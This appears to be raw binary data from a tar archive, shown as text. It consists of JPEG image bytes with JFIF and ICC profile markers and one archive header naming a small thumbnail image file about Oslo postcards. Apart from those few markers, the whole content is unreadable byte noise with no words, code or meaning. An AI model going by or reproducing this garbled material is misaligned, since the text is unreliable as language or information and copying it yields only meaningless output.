mZXZ\H!Dt&KF JM)orqY3m*q#"Ii-Tl᧻V5Ş虮a MkZǿk̚0ZkΒi=6$rhVG ȣBe8<3qݩD)bCEQjO*ρtJ>K-9g ܩ_ =+b+H%D_JۛbgvIUdJ ' ?q4eϰAPSTnj/{RD>I&=^xB|"IR3`ڒJ6UiJPI$qI)` rI&ca$e"VRI%~ U$uJIjH $,j tHM`vHD^HnIZA1J<1LHd{I D B<@Z|$8> 6? $PM6UfѿI&ѥj)EREra;yI%6RiUy\D2 !Pl%$ș]yQg3zpIGpAI$n>#$ G== $4D4*P=äXDNi6SILE.lGiT8|M80L5.IsIQlcj-jcftPHwڰ8I$pTI!v) @iFWuH䋥I)$Ԓ@video-media/POSTCARDS-OSLO_19_layer-150x150.jpeg000060400000012063151724237330014345 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtU2B`r>kztM UQk]'&w$& 8F(H<ƽV).K^-i'V&ElyU4[ Pe_L-v߫A\V}L>G.A;sL0MꈼHĐHجLO,o.4tWtPj_5Oh"ƈc rBs3ۖo{PjK\.uՎKMY18ɭ<qɒ6Ѱ蚺ݤl''IGΧ-zO/j.Yw=bZN-eφڴ9-5(DBAM($익nD?e9|ޭ;aнQ̫d?j |TiGoJN~'4]o Q2|{%/1CXD@2&Vu$1D/x\rhWZݓ΅qDŽj>υʹsSZocsmr>MSMR}:xV R1BHzeJXe)'lT(ƧR%{q2g|bL58"Wl"4E3e.2n|on?SR5ƞ= |<#ɢzr(SrH*,q3 9OP|歧@IJw5ZwJ8bTNOvj{ m)&~e^*]R3'OXՇX]GxQvIr}z;d#+<GT`my5a2*(o0h|֤4Mb-v'纍?H+27K~&MS3ӸrvPHִ mnIPsYuC[9bÖ&smُw5,7iF\Hb $1B,q1*TiڅQn?(&h̓67ЦO#7d4?7zlKv-ql2ik> HCz⑵m7VJhu I*x\du`>ᦍ9n?ިVd">G|UI)u;^f\Iɲvù ?9-X2*ԗ !V" '?ڝ8*$M؎jWL\`!(z5®8@u[VD0X1Rnn.N=8\Q_!$F|0[yP9ؙ`=Gq$aSYǦvczd{4C+kkD7t<+S5.)m( }7@MKn2(}ֵuݤn.@JȩdU,ݝq xhZqkh\`bm.aknϷh7\Cb|mIhjEihڸŷj<2GD")ܱ `U#F(OG>O&);gHfQg-l{,OG)*U_Z{p@(F]T($gڧ%{` r0r@ΛI2#ݳɭN3iˣ&[i!PVDhو5iaӯ,'^oV Wy`cVHs8n NT9:9''LZOu*nr mQbLj!LX^:*Vc!нbhv.jF)|)DA9>2f\d1TO4;=>rTIѷ&6VXv\&mמtѧM /lիI9 aIRQM83cqt~mP8ޅe=D$Fԡb;3}QTx1g'|YZ(Fc2:l/$gGN"ty3NN(v4d d=H ۊ"HŹ[pw'!b2߶bv6IN% GCYiR4px؀03w>uԖzVk2_]XH~fX8tYfw6K'eRv$c4ux^˝7V{yV3ϽlvD$9v]G\d$>ћy!ǵ&׈{ޅLt3\hnxhS2. "z=_4y84DI=jiq4Ά"-y1h%E'$G5<:[5ԁW1`F`fI|T3}mG7 wUrHq-rTQe@>nJ[ӄNwSyѼh6 J ;o*`nmG&}[R^UWRWs)0ğ#ڗ^QgڕZ1T 5* >?ONN6NNx]蝙NmVf. t)46//X<^]11!1_\֠¯4ɜb{)=ҎxkGݻ:7N\On)Jctah[břZ ?3jҢdeG@<>Ƌ͓/x f}9#3N[ ahw7GK{cl>8Aq]}e{pdm\HwbsXLn&-&Ԍ{\cAc"-UAaSnwotaptbW*܉gljS$)hPbM3@$ 'h ~Y,\I7ɸ$JO"#;h\r>ʊ4C[Ib!z #3ZR5%e֧6ґԺґuJRRB-;:HGB `3jM""WR H&60hMu>͉-.LDi( Sv!S@P]IԺi! Ԓ`56OIIi HBe$@j}$5LBaj":HBzBIₑ4WUԟImp(ͩ)=!N2'i46iII1 % II؆m OE“j`2R}$ Bm'B8@m&y8ԝIiuIHRR}$͡vПI( $(m$N#% Iu&JNE KE ԝK+r@6RZ879 rōΠ_ )%.|{HÍZhq״<9re FKֶWDv^d.WՆ?'lMk!Fz{(SD㹥yysrM?xd]B:7D/~xyLjX2=I6<4F_1 ӞZx#ѣAǂ<|dk:0Y.>\#]3x*сf)mZi^Qdkv6(˜?=!iQ˔?kj-,kO.jF/w'e[UJ Kӧq$Ԣ4LVj tVyʑl.=9[ L0HgVdLɦLxf|ZltpsUѴR5l܏2c6ѡSY$epa9;˚&McIrT4l1ir |sg^ ᑆ;&W~I .<'\kMyIhVh%Ae64P&2$QTݎ.:sy-׽;C^75ogDn@IwreҸBo':';$ ? 6Yؘ Yr ais9l H^&dsJC"dyB HoZ7) ^ =? k.+AC YTxnolzlTt. _Y(h{ .W0HK<4gTo!+>ԥ'ZzFEGɴ<^"we@E;.!E2%cX':cZ/9/1rNjXşeeҴe#_ㆂ:tpE#\XOa qgeR\1$\#构w]z47& hhQH:Ԥ_ p#9!t,'(cfG&cY {ߧ)bl f-y cXE-F_+Ɓ>=wiU{l/:dy:YDe$Faêm'c%DUɅ˖vi]LƩ`.efF)Z8\Wd> rZ]I EԖR,Iiu!II0I m>'b%))&XONRB-vԬU-"a&#i6𝉢-iJZ[A2hݥMISW2R}$1 !6#!'))<WRJO"P RU)II"-Mڀ#]:R3JN)!BRu)(&P1m&OrfԛB}$C RLRB]H)TB PJBJo)ژRDR}$ H]EHe.Bm vRC4Oy 22e(6(SYOMDH86B:@ȥWRQ.%$!2Rp)P)p:  ڻj)G)2ALY ΅Ӏ蹳 YكyV(mh00 Q!!wSj6p/U'w@9^@Z}֘gVc~3 Pp :8}2݅bF n&*Ly8MpUDb?7K7Mȼ=j. 3;" feF j0U|]Y3Ъ-7\ҥߋϰ<%ee%ůikPG(h( +g^1vF4C u~Ul.I )F-$:I+nFhlCS׷ w FHbISTYTFQLМعR2)+Ԉf;4,j,KBvAA$!l AaDX[pj. Ő1r6ӿJ < <*Bj 4RXʓ\M QQ7!B1y/-4nr#EоfJ,v7VkYYF#U2ʞ .ؤ&GS3仞3'!qp;(1LْZ߹^ϝQ6#b#䳰? zH;i]Hc mpj~ԙ$Oe:pSOO(`x-pRIꀲ_ mqi|)|3r{Xim9^csiͫOM! MځPIJBHLC]IԐHMI\ (m.! IS>m$$N\IVҚ e*ViyMfz9Nv;H^TϵC3ZкVi||:Ѥo{WlV/󸱋g-],RXԔREHS$!RuOvi;}^IZ+sDg9qV^8sJȜT/pQ:+MIdyZ:1SDi`9U2 x&We%^90QZ4(ږYŒ`@ߨ.[:@Xѝo'g4?)ŅpFpMF<)3[I<vI2c?b1õxqp8YV[cER L\X5Zczn3^}מTG`@DHމ9 Sx ꘨I x6ApGY{) XuTHR>2ADym{(z52rJs$4B@Bq 1apע>fY м9`5Yc窆iqM?D:chhק'$\iwifn5zTE0:/ǘhxfC]SKX7ONTu,l Yɷ*"yTrn?D͟QMT'=+[9&%DP ..hğY+-r]nquP g=~Uq;-3I# 9/>ܥc$,>,X3Hﰀ=Дb&'dK鎔posO:/7Dž5l#oyZ>Wcǁ4"muW\~NE:lNHctx ʮ2e$ -d8Ȫr 7_w-! co'sDž3@#qk8huR(Y>)0) +|Qd$<5yέ'(!Qz&IK#]JF("RyQ+NZx6;L1S\G"xWdFiZlEP 3jn+pR}q#;v& r<*#V裲)1x_⨒Bd[.3nzw*c;zF|vK\辟vnVJ\, M͐ ϸ[b/.s(ŽVF\|"}O[-;sYvlqUTH%3B: ..k*,'I.!|Ji2lyڀ\Ik9z.a.V7-M'2 x俳cs5!7U>p$j^W8d^?+< ve?֨E]TqhHZ9G!=h5ͻROc#M\6&-S\&H[)N%rSE$Bm#& 'R;9gn)[FEL CO(muVttlҏecܯJE0uYkGE!c4nue͍̕ƨGJ$-hE{G~>8f8Ə#.=ʿ˟˄z<$H8VSrOwa˛^-Razf6dJ'v<̒{?)θϹ*X[ܩƽݺ,c}CߺU4-Ck2).xrb䕾;{*QJ+{SjA5gepY o?ˍotefSځvu4 iq?(G N\1/+zGY4^Eo4G·G*xģH;tG .c 0bPd+-͇T,hK*1N10^_vUMMh+Hu,QM ǣ3Y~gSEݖDq;V ELbM8#&qdwVEgb6't<Ӷ18u?S&GC1Թ(\LֻO1XKakxyGe^vlᲙJ .u/2gtzBӸ\T}Pr3~W@դڀv+di7*)0Bk HR/SChB[ aZd HBÓA%&I )KI(&`踧I_ X.rPڐrԟ_ C)"~ԁII婨o{OԘ%pu@Qim-$IjJSwb"vsxLSB" B)JZZ6o)6dpEII@K}&b􉊆RBRRD8<&m$O) #m))6uM m| C)"yRRm$fԄR}$@嶐*I)8Ru$@ )up! )0K?jM PMf;i$ddl-IJ#Olr睑I(Hi$8Y61쵸x(hrysJ4w';͓lN? j,ݸ^K)^ 9n|!edp?:wH{xF'} tZ= 6ha GOL**0I|件{ΠT-i{.Eرy{dEF[ -)p`dzS֝tsJcTT|nS21;~Oڌyy/yʍ.<[ʋ F&?nQYwQʏ2n%/h ISHɄܞ)hq"?-HWjV;=QhB|C>x00e[n *H;Rc DʘdE [+1<Lm`;`gs+_ĺ Bl\] xdsA O,mu$ގ,ZImKg?D U^yћ٤%~Jdq.H(lJ%O4diHF J<2Gp_d=7B[6ݎxRba2ϔ_AOeGdU RO9r0%!u I]_I_W CWRxE0p] D`Mˁi496rfQZ:po`3!me.3"i֪k5=+la1Fk_#k PXK[N$Yn Wdd<0ynlf٣nfסcd4/cHu-~$Ԥ(B4 K5)抹JcpkYhgt;RW7[:kt*k@ 05ȵmCd0 lRQZVf5"u.!5u%ԁ I ˀJw`널 lYX憕tbq]0ŭ-5R Rmh=y<|oXNAU-Y>FP*)H ͗Get^&GJW TcE{-Jx1\wyqsr Y<-<5UWKE_^dxm <(Ѿ6ugu ˤv>;ՌXG"M.{%cX,MtM6@y48HkI%J&fhV !3 ,ߋZ/NIZ+weOcTl[Y]5 cgsFCe׀C q -&aHxxPǿ%sGݶG9f(%цyF[/<4}f :>sBc>_<HƑy硠1[+(JhG c ɺi "?rTrÔ5+F*; \O\B;0*+nX:»5ys@zD3 Z~?QS4v |3"|eyũcM+ϸj`o59D1| 1-Hr5Œ$#ʌ<_Soq5\9¿o6F׏41mkd9]@>VVO+@ c]Ⱥ8rb&00RB\R[𳛛]@Jq|(MpҒEK3j8@#4}<gu2;ƕxf ]ڪ<ME,ׇ3|4v¦D^]E>)Ry$ %ڝ,CawDv3<%Bhw=2ټOe;'"ò6SDvWy>Q!96hQyHo4I(Zڥd4ғ6|DI7q1(֖ ,' m,{T)KF \=MP0htUͲFmHrSyZ"~12-gu.Ha=V8J ӕƊfm3=_m $#Hpk٤$DdIsr;,r-nDs͕~7iè*U*V,18bޔ9Sۊv/.&7 Ls$tb,{C'Rjq?SOJ,_i1~3hytڸB+8qk-SK7,~T/" D~U'ыQVSYM(q$ÃLbgnt]5S6] B\|?&>hA-n撡[t o:I3:+ M1])p\ ]t/`zW"IbtT#lO; 7=u[W]JgBCԑ]#vm$9QӸTص}MڜFHOv0SSPf>AøI}4IEYEJvw滅W_ ]eyay(gc2$i$kJ+'n+ #wZ6:h#t<+:&&9<;Fk(c #k7|(0]%NRVGY .],kCRЂuBjxɺyh??~c˅֣@2udqٌ~͟$tx')(e6lj PYMcŘpD( 5o5lpyFpyi>IHi)>&!ue&zE -M !%'J@ m++T5j6ux|rդqĕa6WK,ePZ6Rj%EoJd14zJ@UkwAyxx8u$졉v76:HG&N P{@Hx/rT.ehGTn+vho)8N4E巃ʵcEmkF*6`5т+J]R7<'ܥhhk,|.->K$%L|ʆH?cMޓ eլ  sMDYڞ,xOKV[lz{~vd.c/XSM d{n!(K ǐIh<( lr+wVeΉۣ@jHk^7uC2埋.ўNjo'ϗ tR M f1/ZWѻѿ6ܦNdW\a)?HAfCI"i-3P8i:[X\VXnr{Hࡱ,*t3u[ x,v#ȐnoL?dk <۔q[oS+/GZ)CUod̒EnV4!TSK6VAōl=B̗rd7 Td]s^6){ZM{_+$hg2~Y!"*hD/Fzcij9O'A\x|00srh)]Q~͋p1;p }lmK"k XJ ggԪ A8_-~T-vKA"AD_RYI*=S027Y]Uޅ3^%,VC=Kkh mi璪rK˭UH,(M~Ag6g,ǐsϺē(w^W (lLg7#=ͩ?F -*4M-cd /(mt۾"wP6Y-i"kȍŝnW4[GDi@sZo jGM(nzR0A4Ji#m~y*qm {Nsq%Gdfgjl\֓Hga< eyj_,S"PK#!aqVy.>V<#7N9`9o7(L!O-@6GCS>dȌtUy˶u~`\)vu8iĆC;4Rh"\'6H7Rc,֋>*ᓐ~wLNƖ;*vxW/­<Z20ȓ)vN&>SL<ҫa%t8i~:{[/PeRr5ծK9 Ҳp=SkP!oK| ʿ+E184z *&b?N_JvgF^"tXsOFZ2>U2Ah6 I](wP]!$uBwˈ-MA(b$ڜ J ( TFBJRI Ժ5+M.88%F8J %E&:v%NiJyiQ` M, i")(IM)i SBIC(uCCeJYA7jKPjSEkI4A&+BRjv*!-[hDIID$-Lޥ5N[A7mMkSE I)1)JuS+@gT%$v)%pm))>R`5 ^8.o'*LdO({GC[-zeG;Uf[!:fl0>p,NTr1hB*h~ oEI7a-'[=p2ڎC YI$UgRGub1\{)J'8B[DЙW\3:̄%4F7ʅdtVKR3Ek@Zfm->8k'dԚB}.ȎRJ@ >RDDԡg^Q^pk}=TɚA{ F&Zs.$ڗrǎMw\|U5Eq"O ˋhqjYa;}5hqZfb"2Ub}=:T\e ਜ)G gB8SLBQzc!ŕKTTӢi.3v$|^UC;"?LMP`\DG OLx+% 4"`!4$T%s\I `i1EڠˀDFɤ+B I)"$ʹSoiff0;{KǏ&׀} #:,yitNkجS<## 岰5qk] VgK7;/d`Md ,wTeM2[4T1DǔG3AwqC/:#%I8z^l@kr6+nI2`ø92@d͵ˬPI4PGna䗞WZng45 L;ƉfDeŒ oo{)<ƃQna6(CLsb$,2!y+/fL`9 {(X|wj. ~d:+Vd2\Z,ϗbdc=ܸzV:T{r0L WN9--vyLGc=߀Oj9cZ)_DzPen2hPG ^R7?fOI>m|w4/`?e=@6 +Aj\?} CþPEv g 1s_M}-c˽:4Bv`Zn#H` ޾Kx'\1`d9e1鶢X `,=u^\6y]v %TcG\Cŀ&GQm2`AgDt,[)28wd%G\U$QM(SzG p%^e#HiMGp$Y$lM8yևn Y[\(тسEG h!rk^iIN ’hDtHHM֝I@(u'\u'CR8Ƙc#]/ &mQeLtt1P:[HcM,#4ShESZzZib$- :4 QbbʤVLtI*!43} JD o nID$,Lo HB4К#ڐ"JL*]I!\Bu.!1HP2R~ԔP֏PW$qaf4m*̢Uc%Tdl+ {ұ|V` KMcoerxwɑKQJkYHu֧0@X̩,k ݞE>i䪌+§]2K9n`ǮʋZ;Ze R)HӣOd_+Oi a%k ~!pZxTn+7bNԨK"C6򞺐6ru.PJes[eclt׺rc{^GY"8 oU481:1@@GJhiũPl7\^ Ga Zr]twi&u!I+2 j 4G0g㜢ŮJS 4)~.YZZy=C@sU5_5ek` .hmJX\rHJ l2P@?1<Ȍ~\w&G ҋc~(VɖeT0hlÐkeeEۿj24= TNӏ6GGh?8d2ٓpVk%!ܚ|o1ϵKh PՊ3i쫏E];1ަD6 6xX~UA9<= 7`4EZ!N㧿Eȧ-ɸm>G )Cj:8%*cMi$TtTZf)qm,WeD6ȑ_ V#E@2$qeE Io=Kru}Mˇɏ%`rX6YSTXGD׺DMqԒ a[goUQ& Ɯ9+54n޻ j;yLeZd/LD`AQˡ3ϲ:w8=yzkz2q3>1-p!1c;| ]oTD `|g;cF<,` dGwj5 /%ԚG6mUرaYZx Y[H{8PN<ѼS*)5ܡၗGSH1ḭ,$kC)4#"e=\`<;4Z0X(:[z \?/AM0Up<<hs#aPZ7 *Y#G!%$@t~ /+aSG!oDKd.%cB- =CKFL#NtsxY{`̾tRe 7sJXZ)NZ4JK+TнUXM5_"蟌R@%<_@! ؎I #,C5 34a,*QP}$'pUs?WSÞVS/c֢(uu^;MUT ~Mn[H2Zqx8Y(|Ca53b&x{H둻Ǐ-D6\\z*3spO<unh'R2PRh\IN&RqHBڴS"jR*;ro$DYYyYmoĐVZOz^'M^Iq':F/A,ZVxZ)c^e򛸛U(ќ$ٺmk b;B9PSIT c%juR4,Dpc3NjTh&МE$N0O%'bRSj.b14Eе1e&mTE BA# t( NԀ;H!u. iWdc>WEew5k6$z~/$h&Ņrv˱hm{'Mi. =w+E1–/7H=V n40_褙ܔ9'4Jp^wRDu\i1 Rkh@XƆ!袇d;}I^j~m)XI@T䏄OŅ & Ag"fF+]'@Bk@+"R&(Y$U(% i)< XSuShkgKn%:,z&?:2j\-$uƑx%Y 15IkD]!9-ŝU\3OmS5vX*RҢ,\9IvYqĭc,\3Ɍ2H^۳dž1/k$3L_m$bq]A4+"Y$Q2 $u]%r,*-*Wh,1nqJNhXٌ~aaRy ZcrfF̽J'2"Adnc+96!{&_"Z ď!48|MAhBwBO,'Zg6*S RDX> DJ6 ݻdٺRh x|IG7>8߻k=c|m w(h+Aa4ȫʻ`\\xVS7_ xhF+Ռ kG#;;:-yLw@wbQ8QD%΂dA+`-^>AC= +GB]4եmr_ |z1g7Hfoo6 E&7oe\B?J@Q )Faaj"Hz!{+Y$qiQ#e7@(vԦ}X?(QVNJdNތ0BwCJd֣z3(i1\+ɔEb$~P2Dv +3=HEÞI3=幁Pr51ѐr3h zUME?R./ՍV8ږ\%z$quv}qR:-GoG$4x"j pqckNmz.y$.G4V6"PSqf#*g;aKu(E#7) [kZ,T% ҔS$4TFo/^~ Fb޵SϣwӇyE~6ds솓UMv'/9p4V},< &tZT. YEY:)bd0f=2=D7kLMҕ,&L}D9V=<Ef*26踵3N JOYiIqi^saEG9'Şt*Oihz#]+:93VT6EoHlb)>R,(od'R@ K-. M6'.)Rj}.D%%$v654 g4spuy^D]`{&ސJgZju4h,dm,9wU+f{\H h,YltoT11LҴG(Uc޸DsII)MZN7UW@/.0HRmRy )*Д.Bs[h rh+ >b )65.F? :'5;@ xYeP[%Vk:p+Q#ӓ.IIQ;u:=:80lܣXGtؔKwN DRr**1-Á ѵʤfWu49MEq/ kh,sVnDմ&xP;(Dgm)m¨ X8sy)uC6G44d<ѱJ3S!rDTFhQ =@oH CL CI?Uy27=PҖ>HE +ET3SckmE)-%@ܝt˸v7*lq~VNc(RG EGtB FW!5tU\]TZ7St?XbnX2B2}J6e#1u8PWX^8E[bK.MPL2Z݅8x#M[Vև_F8牚a_ UcfbER N7jnҤIvDv%RU֛Eu|B%@ꐵLZ BRRmMHWQJ1!Tԓjv$Rb0aDt?iH&N̵rkUn+qw ;;h,SȻW.%guN3y7wHwf3(HлTQ:  t:|qG[B/ D@X˜ByuG `Rk-dq8 1$[U9O piGn"ťz-a'j3)>ntN}UfJ&C<. IBjψVG}8-eN OPaxZIo4@4UΥE]I#'h8mO~PR~ߔ_*ev]Iiu'RJHԕivzYNS@e/CHn r4Ғl \OUUD& <9HzKM*9<<5'Ỏ XoP ƔOJ; yRCХ5)o+M¦:i:HN"iʊ@#]iZ)i=&BU:^ .³w 8^y 6jKBgpXA6`Q fJi xL jJF˸pIFm ,6gJZ)e#Tm٤F ϖAG-ƅ+1>Qݑl4=P5nt(i_z+S"@(vACZƵxܢc›Ms͇ $;i#6~Ƃ()02b02`H(R{d_D1 J1aaUCɍ%yَt=^>)iÁmTڞ2 {b1erwb2C#O&1hSNn\N6 zUi 'N˙HD5]{+m+7.Q+?uu9rhgŖۍ)2N._8_ ߻+P1˲as7V{8)o!ajmhDxP9r%'b[W=TFv_P5 b^or]|gh݇Tލ^&08pSl Ɉ9 nƇ'4$!WTԩDE {|' #Gi9f8;egsuI.9RF'vwnnLysoXy KD!Yqw]SFm427rL+\YvqM lvi!$z':`KMK]a- H=&A& 9G)(%&)wL3iu TܷT]J2 R+&-=Q 4y$;Grn[ЕDsfqP^0K#gc@~/{H= Jhu=Te*-֐PF(WT! 9i-K4`0C[FXTJׁ8;]+Q q=ݙ>nj\h(cF:0CQŅ[279pr>{i&Mjhg?OtI2ܡ8"fYc+r|mZM,B/Ͷ;'5-wSf;p^Y6ɷv 7%<+ȯK8*,K<wڇ.;#95gcNJӥ,:Rˇ w@2R蚂cBii*s"/?2lg [;9oG>= l,lO08t*P=%C tWi֊d d{I[m!VpSEYCe<%4F?9L֘@#+HI#5Lsqs/>;n\.,xè(l|?TO]@@ Ȍ{z\69\o+)=OD4OR i ~BVB曈7؟K,[żTZUM!0\˃'^^6muɶWʟOŏeαӲVd0u=r'q>p&eVjLw)"⃀?%.HcR˃1vdakRC ƞWrh'iPf;҉5~{t+aҰdp꼿J3[ ]lzSf8) Q+I2H 'np}'y6Rnݓn@XAM,;r^Ҧ )1'mUjY\nX+/<'nH%WJ,&2 Nx:vUZ(Wj NH}+\*kZu-y~Ks)[Cp4-fs4r2n!n+BbN6R6W ?2,Z?XD<ҳ*]hM6qUTCxQ㲣)&kCvWRAC)u'R@$2Ru$!2iԓj]IWRm 'm Ci&]H'(F= Po >+]eLM#'KDX78i(XdVM\$G# T08r5 8bQ)͖p;OUbX[!C45 4K kz'+SXePPSn2D|9 mҮۇKN] TZNzڇ7&Vt&muO ?\J[xt;D@ZnVHsoG1=V4qtJM1sCDMg.qOE,d*VdX۴N [Sm69kYW2%;y=oYaU(Ter4Dk̠zE059sa=4#غy$8~ѱ8 >(Y'ɒjY86)Ô2r8?1ݽӚ24G୓fA,!ǘZN\u|ǔz~Q-j5 io)vE K3iP/@WO%o|&eW@ha_Y>Fd4+8>B$[M)%ʡYēXxodLqA{ZZ.Q P/]\eV1FY#k/VDѥ $n-m$)Mg8!o4n&RE$"E`c]z/$4pDDQge4CG1uBd2vHଶuQHΪZ/&4o#g6>{.Z1\'ͿJͦފvlf%׾i!xCu.NANmRyy Q#7XR#KIj8Lh4oa) '' 1?u㺋rMH5òu;HTLܐgc)! R)mRk!rk@)CPX.I Hb:HRE9"LJ 'hu@ywT;{Jdcf%8ڗ$:&/C#^SAH%FuBl*XR,jI3fkPHicS6vs{WTJ5PF4Y}X0VdZ G+FH.Ls5f8)$r%m3y1iєsՄU鈌q *gⱸc{"mͦ9nrEn^xNS7[tU;#.գ1S\yޟ⸉ /V\^3m l-5 2' ;jB{$ʬ#TRb:HJB@- |uK/IyMnɟ-h 3foʻc+3ߚlH 5M9"‹wԸ/ۑ6eŸ1Ӝv# [9YQ"_AW tkǹ^}O+:|4pC8Pݡ {#Wg0R.iv6&W~0Bl-L4q&N6諼8ZC)v+0:&’IH%$!Le.N" ci%'R@ SuII2Z !I)I lLHF4\S'Jw^8{y^BQ)[+%hӲ07恏RCqtzwl.d6ϥC0pFZ&FS)4ܜ&nfAk4wwx8{FF3R[wvFcfWmiU6BiST7C;P J4+D!Y5huz*eV'4 ͝~M;XvQ"*'$iԄ`U3k j.ddsTM-ҵ#Yt4ee&~61m$zBC>h}UPkERmY1>-3G#t,e-nd`+g<CPf5<*9٫ zXK \z8YRGQHM-0lw%P1hzDp .)`fWjd4mHZ7L~LMm6@7RWKi<7uPS T)(GiZPO`=8$FHO*yiXS HNkm$tdT?bQ^iDB?L{:H5=N[vЎ Q%䞩 (7ԧ8dc)h!$4D)Ip萊M܄: R:Uvǫh?/ϑR3vhq>XoLCp-S9mQ0.TcNJmEWR"v($-Xi]II"ИQpJYeRv*vНK&P$F>H]E9+EZ{7)m  8GGaRvYra9!>?h4۶{.ôj"Z9${ps˜HQ+x6T!êv$F8q|vT,B9OY'>| Z*WhL('}VH: 1ȸ.dx$0;/:is=8 x۪ҝ32(Ed`2N}Q2?#' tw`ڿ#dQH UxokVxo11k *K|5j^7ZBw@Zy3Ya+YOJtHw^^K Ur?s38{Lbِsgp,l>~+\FHWbeÑ11 3c3ǩDBLlF)*ѪofZ2v0}Bb8SH}ҁ괄ѥ2_DYy &!z $c{,=a iԍɋoQ 1!S#hikx,ZVˤt1muMLJ < 2\ӵWB'.QIk;c {OUsNJ%6k4^2LNJN)-wdbeDޗvO$B6WƣٛMWh.8஄k-.h#zf絤5iYciuHI=w &c.\2"Xq$rR,h`~(U,R8d1n%*J>7VkGU41^CdcÚAV=]6Pw0p@ݧTȚ.÷#G44p]%{&!d pd4sM-Ogu%V0r)E:+1M{]kI~6PO{Ld#}*i)1#]E+HLb~Eº(L"ɲP vH\ByiDw+6lL/4oֹHM z&e#-Fª}m*Pi*R Ndʍ_)Ct?%'|ri=wH9%)-MuD”ܒҵ8AIN|jl{ JP ZX h5ԄRi%4u`0g0lG;& u*g8A%PnH%dF)iHމXsi# a8+!rt X) Q5F@1Ex*w8&qn(-(622,(Y䩶xQћ" ˑa8lZ!5HZ:;\'Bac=Us#\T4\59yyoor/ ,m /$poRKTYkܤ*W,>hzlV++ቭ1 Z=Gq/#{ʉdlkN bwbu<>w-csHWV lDzDSI^4Ea|/Dcb0?d_ճ451&S;gi &Pc=xdK3$ݦjM"tli4 نYZBHBa6 cȎ;{.0FhAdȟU&L{I &ZV8^@ \v8ʉn$w#IMtԀJ͑H1OT{ ,]IoBvENT:㑞kV97[HyOV>Cr`pS;.}=\]0uw C =Y&lt BK>^?WOE\=FJ89 h dkiHHh $MsIS.)O3 u<:*d15΢#Z0`>ywxGe@p_+7^1CpƝY4r[8X' -Fd^`徇~G+$['闃WZ9@"6:nZ=9I-#mثLvZW(O_c#pQSH*GmR,s[qev7c\evSo~+Sk .J͐apmC$o:tMt>W~\g(=\ oG NJh(3;zN]_UQSw[>G9r5qm],83(T ѶpȈ SR"DsODnD VUtI>y'DfB;ZVJ}3]4!B鬩 vz$@ k]}$i"hoe B RҔEK|tEU|(J"X:>\AZN Rya!m&*SJ+Z ^ƢG)8\K}cssE*G8dXh v+& /9PA[BU v)X\܍픧JH0Bgud#\:T4B6@==HlHYJ&0iN&]R`]{4lX(|̗&"=tT4KٽIEI],[i2 ~Jb"4$~=q)h I,F).O>NݓbItnu4.nzARYZP Fb2}Ph@L@ӱP/Ǎܡ䌐CEXzx:_AqHfR`'EَZ z9p* +`t(K$(rH%i0Dk:e&T# TAVA;sO4S RF/ΡFDNk^WssqzkZ!mv7 w3 Fd =L|pm*l&l4ӛ&&XUZ/]ܜv؛~VZvPTXqkS'78\%tnɾ.3FɣwdH) Pq,;Vz x+fqhf ! ,iTI8xz,g.Ю]Iso G&Wߩ :t!mH{ zo',Ei0+mP,5K pqhCA)!+[c@N„/M2~sMZ{dc:@㙎4¬wR[9ŠeuҾP JNeHj2^Qpp qi!MdnTwq+"FMwPgY Pdqvu4p٥;1+h=\XQWy!@49Ï}M{ pmdG W2:)[>ISlA!8N- &4 oU(Ybln|eQOiI6:1E+SЮx S*_ |:)-&LDcJA?p=ؤsq?)$DDs,"55cX9RZhTCtyI(u{&" 9DhL†RRH\DF%H+OQDOF<7(SbpL~&xagfwZ{-7, ݆ sHV$\U#o|py(,Ng#9UEyv^s3M-&ɍ׸QnL汭e$' %qIVվ{k9#-sz4Vh68##zR#! |^{Es].ڂ9SmDCAI4jdlLGQU^lOoxc%ԫ#[7r }ZaʉXvoŠv*2Zy+7̌fמ+5^~G LaB+l#kxDFGu n!ˆl('C%DSL,Ԛ d1?*/-v[ԂEޥH HV{O!C)s#} lk7Օ<$4Q=A=q\H!QRkFKR%\kwOoiIPְS@AG]Mpߔ] iRq)Bt2l8}m&=JnD/H]C&$vF97̰=''?M{[&~16+lrb?3Si|ynrh vd15`yS/]c"YHxRM(#;beӟW6&4 `ksr}J8ē1:(&fuy lɌTSa䜨%zL_274CsdyVt엢5 ŊCn`RC:GĘߗûM!2Kz2Klw\=|# m{,`KؓEQ! IOm`zO '8A M1P%JtJi S $lQ:{'ԇH =U(Y%Oo^֊>J/IDcO"v+tS]H]]䔀!iL$pRcB_7ʕ4v|%+3bi}iNiwtX@[( ;)DK*!{$ (={ !"yh X}t$ &< Cy5WBBl"]lSGK1|V J_I:A@(4Ɗy$&M;aJM9IfRQ#T!lU yJZj D{\&;P4'cjo{h[$j$O`SSC,Km#fꑍПHF8)冗1@hNkI‘h)^@ 2%s>gt8w+HߡŤ) 7FS8ItHҍO#O0.cŒJkM&ãpN@%;$CVh5_.07rgkfFuY8G8QNȜ}I9z+cGx} VG^M,t9ǵ|o9V~ DLz&υ#E;̂WOwxi>C1V-#63MfċLa!qggZ' Y x=7L[s+E1z:Fk+ -[/H[C2~$w44ӼI&Ѿʾ.fYV̀xwDQcj;ffАFܖ;N]+\#:䢣<$Po"Xs h3hݡCm"[IU,j7'-(49ѱI 7'ȫlk6 $, Aj3(kz!oBÙIù69,d*5(^Rqx ūɠlGƊRZw5g|xiܭTx8T-h=9Q)V{XX%O~,F9'A *\Ț 0FK 0A>A]nKN6×8+2XXAReEJ^ R"-%!tPNSU 9ȸ1n VB֐l^nGGQ a!gu8?_ VkMYXM_-[_1l4Z Y9! QH\⯰fKʙ NgD[.4FKɾ˜RZ,e]6~M< / k]&)FMP]C;\QuZ3k1ƂBZIX =ǔtq xNN׻C#В@ݎro#6 񾂉EGBrJkf2g:Z]E4MGPhP6y+.tY9G#!q=)h=TObSIiHtDpTo ͌G % air.|Wd"Đ!{'D8sTEO ظb*XNLEJHP)C%$ZH)8B*F]p vm- ==:09n$VY!SE'fFvAVO ,4U3}.i.iꃈ٤d[Mrq3vp >7Ȍ=seoj[-ca~7B?{"kE2to!Yl(pUwْ!eɌQbZ?ABj xi,Y8+W!lp<$,/[vT:is q bٺi/q&d]Y>@hk E$CMhW(/Ґ76.g]xDLβX\eξ5m UI cF:,p0pWcΝ̖y+g3|rO%(4Dl(8kC*EE_UҺ9e.k׸EqcClM1N6' <%m?#ZZ~J W&4 ;$8m- P'9bw# [- q&yBBܔ\7`X.'TGQDi8|myUic|@ (Jnꢔi72}Rca 